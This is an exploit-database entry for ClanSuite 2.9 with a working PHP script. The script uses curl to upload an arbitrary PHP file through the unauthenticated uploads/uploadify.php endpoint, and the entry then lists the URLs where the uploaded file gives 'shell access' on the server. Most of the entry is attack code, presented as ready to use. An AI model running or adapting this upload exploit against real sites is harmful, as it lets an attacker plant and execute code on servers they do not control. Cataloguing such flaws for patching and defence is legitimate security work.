ClanSuite 2.9 - Arbitrary File Upload

Author: Adrien Thierry
type: webapps
platform: php
port: 
date_added: 2012-06-11  
date_updated: 2012-06-11  
verified: 1  
codes: OSVDB-82901  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 19051.txt  
###########################################################
#
# Exploit Title: ClanSuite 2.9 Arbitrary File Upload
# Date: 29/05/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage:  http://clansuite.com/
# Software Link : https://github.com/jakoch/Clansuite
# or			: http://svn.gna.org/svn/clansuite/trunk/
# Version: 2.9 and Trunk Revision 6400
#
###########################################################

Vuln page : uploads/uploadify.php

exploit :

<?php
$u="C:\Program Files (x86)\EasyPHP-5.3.9\www\info.php";
$c = curl_init("http://mysite.com/uploads/uploadify.php"); // Version 2.9
$c = curl_init("http://mysite.com/application/uploads/uploadify.php"); // Version trunk
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$u",
'name'=>"info.php"));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e;
?>

shell access : http://mysite.com/uploads/temps/info.php
or 			 : http://mysite.com/application/uploads/temps/info.php

#####################################################################